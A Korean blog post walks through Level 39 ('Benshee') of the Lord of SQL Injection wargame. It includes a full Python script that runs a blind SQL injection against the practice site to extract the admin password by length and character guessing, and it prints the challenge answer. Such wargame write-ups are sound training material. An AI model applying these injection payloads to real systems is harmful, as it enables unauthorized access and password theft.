WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 39 - Benshee

벤시다. 벤시는 아일랜드 전설에 등장하는 요정으로 우리나라에서는 적대적인 몬스터로 알려져 있다.(아마 WOW가 한몫하지 않았을까 우리 족장님...) 사실은 그리 적대적인 몬스터가 아니다. 요정이니까, 코드를 만나보도록 하자

< 출처 : 나무위키 https://namu.wiki/w/%EB%B0%B4%EC%8B%9C >


코드

오호 익숙한 코드이다. sqllite에서의 blind sql injection은 어떻지 조금 생각을 해보고 코드로 이동하자


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0313091b
import string
from requests import get

if __name__=="__main__" :

    url = "### BENSHEE의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?pw=1%27%20or%20id=%27admin%27%20and%20length(pw)="+str(length)+"--%20"
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
            print("FIND! password lenght id : "+str(length))
            break
        
        length+=1

    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1' or id='admin' and SUBSTR(pw,"+str(i)+",1)=%27"+a+"%27--%20;"
            new_url = url+param
            req = get(new_url,cookies=cookie)

            if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
                print("find "+str(i)+"'s letter : "+a)
                password += a
                break

    print("="*25)
    print("find password : "+password)

2-SY! 코드에 대한 설명이 혹시나, 혹시나 필요하다면 아래 포스팅을 보자 My SQL에서 썼던 함수와 변한 게 없어서 넘어간다.

2021.04.13 - [WarGame/Lord of SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


쉽게 쉽게 넘어갔던 문제다. 다음 관문에서 기다리겠다.